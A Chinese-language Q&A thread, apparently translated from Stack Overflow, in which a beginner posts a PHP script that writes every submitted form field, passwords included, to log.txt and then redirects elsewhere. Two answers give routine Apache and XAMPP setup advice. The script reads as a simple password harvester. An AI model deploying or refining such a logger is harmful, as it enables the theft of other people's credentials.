0

我知道之前有人问过这个问题,但我真的不明白答案中的任何内容。我不太了解 php 我只是想将我的 html 网站连接到一个 php 文件中,该文件会将所有密码保存到一个文本文件中。但是当我输入一个随机密码并引导我进入 php 文件时,它只是浏览器上的源代码。我很明显地安装了 php(在我的电脑上,我仍然在我的电脑上运行它,然后再将它上传到服务器)这是 php 源代码:

<?php
header ('Location: secret :) ');
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value)
 {
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
4

2 回答 2

1

您需要php在 Web 服务器的配置文件中添加模块

如果您在 Windows 上使用 Apache HTTP 服务器,请打开 httpd.conf 并添加以下行

# 
LoadModule php5_module "c:/php/php5apache2.dll"
AddHandler application/x-httpd-php .php

# configure the path to php.ini
PHPIniDir "C:/php"

在此处阅读有关在 Windows 上安装 PHP 的更多信息

对于 Linux,添加此行

LoadModule php5_module <path_to_php>/libphp5.so

确保设置正确的libphp5.so文件路径

于 2013-11-05T06:49:39.910 回答
0

您建议您安装了 php,但它似乎没有为您的系统正确设置。与其直接下载 php,不如建议初学者使用 xampp 之类的安装包。这代表: - (x)Cross compatible - (a)pache - (m)y SQL - (p)hp - (p)erl 通过将所有这些包含在包中,或者意味着您可以使用完整的服务器快速入门,并且可以使用数据库和/或 apaches 功能。

安装软件包后,请确保您正确定向到该页面。

  • 首先文件需要保存在正确的文件夹中;这通常是您的包文件夹中的 htdocs 或 www
  • 其次,您需要启动服务器。对于 xampp,为此提供了一个控制面板。对于纯 php 的内置服务器,请使用命令 lune
  • 在地址栏中输入正确的位置。您需要使用 localhost(或 127.0.0.1),而不是输入固定的计算机地址。这将使用您的本地服务器加载页面
于 2013-11-05T07:00:18.560 回答